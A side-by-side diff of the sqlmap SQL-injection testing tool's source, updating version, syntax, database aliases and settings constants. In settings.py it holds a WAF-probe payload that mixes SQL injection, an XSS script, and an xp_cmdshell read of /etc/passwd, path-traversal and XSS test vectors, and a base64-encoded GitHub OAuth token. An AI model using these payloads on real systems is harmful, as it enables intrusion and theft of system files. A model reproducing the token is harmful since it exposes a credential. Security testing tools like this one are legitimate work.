Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,7 +9,7 @@ import codecs
import os import os
import cProfile import cProfile
from lib.core.common import getUnicode from lib.core.common import getSafeExString
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
@@ -25,8 +25,8 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
from thirdparty.xdot import xdot from thirdparty.xdot import xdot
import gtk import gtk
import pydot import pydot
except ImportError, e: except ImportError as ex:
errMsg = "profiling requires third-party libraries ('%s') " % getUnicode(e, UNICODE_ENCODING) errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
logger.error(errMsg) logger.error(errMsg)
+2 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -56,9 +56,7 @@ if PLATFORM == 'mac' and _readline:
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html # http://mail.python.org/pipermail/python-dev/2003-August/037845.html
# has the original discussion. # has the original discussion.
if _readline: if _readline:
try: if not hasattr(_readline, "clear_history"):
_readline.clear_history()
except AttributeError:
def clear_history(): def clear_history():
pass pass
+4 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -27,7 +27,7 @@ class Replication(object):
self.connection = sqlite3.connect(dbpath) self.connection = sqlite3.connect(dbpath)
self.connection.isolation_level = None self.connection.isolation_level = None
self.cursor = self.connection.cursor() self.cursor = self.connection.cursor()
except sqlite3.OperationalError, ex: except sqlite3.OperationalError as ex:
errMsg = "error occurred while opening a replication " errMsg = "error occurred while opening a replication "
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
@@ -63,7 +63,7 @@ class Replication(object):
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns)))
else: else:
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns)))
except Exception, ex: except Exception as ex:
errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
errMsg += "located at '%s'" % self.parent.dbpath errMsg += "located at '%s'" % self.parent.dbpath
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -82,7 +82,7 @@ class Replication(object):
def execute(self, sql, parameters=[]): def execute(self, sql, parameters=[]):
try: try:
self.parent.cursor.execute(sql, parameters) self.parent.cursor.execute(sql, parameters)
except sqlite3.OperationalError, ex: except sqlite3.OperationalError as ex:
errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
errMsg += "it's not used by some other program" errMsg += "it's not used by some other program"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+57 -26
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,12 +19,13 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.2.9.0" VERSION = "1.3.3.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool" DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org" SITE = "http://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
DEV_EMAIL_ADDRESS = "[email protected]" DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -38,17 +39,17 @@ BANNER = """\033[01;33m\
___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|_ -| . [.] | .'| . | |_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _| |___|_ [.]_|_|_|__,| _|
|_|V |_| \033[0m\033[4;37m%s\033[0m\n |_|V... |_| \033[0m\033[4;37m%s\033[0m\n
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
# Minimum distance of ratio from kb.matchRatio to result in True # Minimum distance of ratio from kb.matchRatio to result in True
DIFF_TOLERANCE = 0.05 DIFF_TOLERANCE = 0.05
CONSTANT_RATIO = 0.9 CONSTANT_RATIO = 0.9
# Ratio used in heuristic check for WAF/IPS/IDS protected targets # Ratio used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_RATIO = 0.5 IDS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS/IDS protected targets # Timeout used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_TIMEOUT = 10 IDS_WAF_CHECK_TIMEOUT = 10
# Lower and upper values for match ratio in case of stable page # Lower and upper values for match ratio in case of stable page
@@ -71,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]" RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]" SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]" INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c" CHAR_INFERENCE_MARK = "%c"
@@ -97,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10 PRECONNECT_CANDIDATE_TIMEOUT = 10
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
# Maximum sleep time in "Murphy" (testing) mode # Maximum sleep time in "Murphy" (testing) mode
MAX_MURPHY_SLEEP_TIME = 3 MAX_MURPHY_SLEEP_TIME = 3
@@ -104,7 +109,7 @@ MAX_MURPHY_SLEEP_TIME = 3
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
# Regular expression used for extracting results from DuckDuckGo search # Regular expression used for extracting results from DuckDuckGo search
DUCKDUCKGO_REGEX = r'"u":"([^"]+)' DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
# Regular expression used for extracting results from Bing search # Regular expression used for extracting results from Bing search
BING_REGEX = r'<h2><a href="([^"]+)" h=' BING_REGEX = r'<h2><a href="([^"]+)" h='
@@ -161,6 +166,9 @@ MAX_TECHNIQUES_PER_VALUE = 2
# In case of missing piece of partial union dump, buffered array must be flushed after certain size # In case of missing piece of partial union dump, buffered array must be flushed after certain size
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
# Maximum size of cache used in @cachedmethod decorator
MAX_CACHE_ITEMS = 256
# Suffix used for naming meta databases in DBMS(es) without explicit database name # Suffix used for naming meta databases in DBMS(es) without explicit database name
METADB_SUFFIX = "_masterdb" METADB_SUFFIX = "_masterdb"
@@ -170,11 +178,14 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
# Minimum time response set needed for time-comparison based on standard deviation # Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30 MIN_TIME_RESPONSES = 30
# Maximum time response set used during time-comparison based on standard deviation
MAX_TIME_RESPONSES = 200
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
MIN_UNION_RESPONSES = 5 MIN_UNION_RESPONSES = 5
# After these number of blanks at the end inference should stop (just in case) # After these number of blanks at the end inference should stop (just in case)
INFERENCE_BLANK_BREAK = 10 INFERENCE_BLANK_BREAK = 5
# Use this replacement character for cases when inference is not able to retrieve the proper character value # Use this replacement character for cases when inference is not able to retrieve the proper character value
INFERENCE_UNKNOWN_CHAR = '?' INFERENCE_UNKNOWN_CHAR = '?'
@@ -223,7 +234,7 @@ PYVERSION = sys.version.split()[0]
# DBMS system databases # DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
@@ -233,6 +244,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -246,20 +258,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server") SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",)
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
SUPPORTED_OS = ("linux", "windows") SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer") REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",) HOST_ALIASES = ("host",)
HSQLDB_DEFAULT_SCHEMA = "PUBLIC" H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
# Names that can't be used to name files on Windows OS # Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -317,11 +330,12 @@ CURRENT_DB = "CD"
SESSION_SQLITE_FILE = "session.sqlite" SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages # Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)") FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+")
# Regular expressions used for parsing error messages (--parse-errors) # Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = ( ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>", r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)", r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>", r"<li>Error Type:<br>(?P<result>.+?)</li>",
@@ -349,7 +363,7 @@ COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "
WEBSCARAB_SPLITTER = "### Conversation" WEBSCARAB_SPLITTER = "### Conversation"
# Splitter used between requests in BURP log files # Splitter used between requests in BURP log files
BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
# Regex used for parsing XML Burp saved history items # Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)' BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
@@ -426,6 +440,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
# Display hash attack info every mod number of items # Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11 HASH_MOD_ITEM_DISPLAY = 11
# Display marker for (cracked) empty password
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
# Maximum integer value # Maximum integer value
MAX_INT = sys.maxint MAX_INT = sys.maxint
@@ -512,9 +529,6 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
# Template used for common column existence check # Template used for common column existence check
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
# Data inside shellcodeexec to be filled with random string # Data inside shellcodeexec to be filled with random string
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
@@ -524,13 +538,16 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
# Value to look for in response to CHECK_INTERNET_ADDRESS # Value to look for in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_VALUE = "IP Address Details" CHECK_INTERNET_VALUE = "IP Address Details"
# Vectors used for provoking specific WAF/IPS/IDS behavior(s) # Payload used for checking of existence of WAF/IPS (dummier the better)
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
# Vectors used for provoking specific WAF/IPS behavior(s)
WAF_ATTACK_VECTORS = ( WAF_ATTACK_VECTORS = (
"", # NIL "", # NIL
"search=<script>alert(1)</script>", "search=<script>alert(1)</script>",
"file=../../../../etc/passwd", "file=../../../../etc/passwd",
"q=<invalid>foobar", "q=<invalid>foobar",
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD "id=1 %s" % IPS_WAF_CHECK_PAYLOAD
) )
# Used for status representation in dictionary attack phase # Used for status representation in dictionary attack phase
@@ -571,7 +588,7 @@ UNION_CHAR_REGEX = r"\A\w+\Z"
UNENCODED_ORIGINAL_VALUE = "original" UNENCODED_ORIGINAL_VALUE = "original"
# Common column names containing usernames (used for hash cracking in some cases) # Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser") COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser")
# Default delimiter in GET/POST values # Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&' DEFAULT_GET_POST_DELIMITER = '&'
@@ -583,7 +600,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999" FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions # Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ==" GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
# Skip unforced HashDB flush requests below the threshold number of cached items # Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32 HASHDB_FLUSH_THRESHOLD = 32
@@ -661,7 +678,10 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10 CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns" # Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported") BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED")
# TLDs used in randomization of email-alike parameter values
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
# Generic www root directory names # Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -673,7 +693,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100 MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors # Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
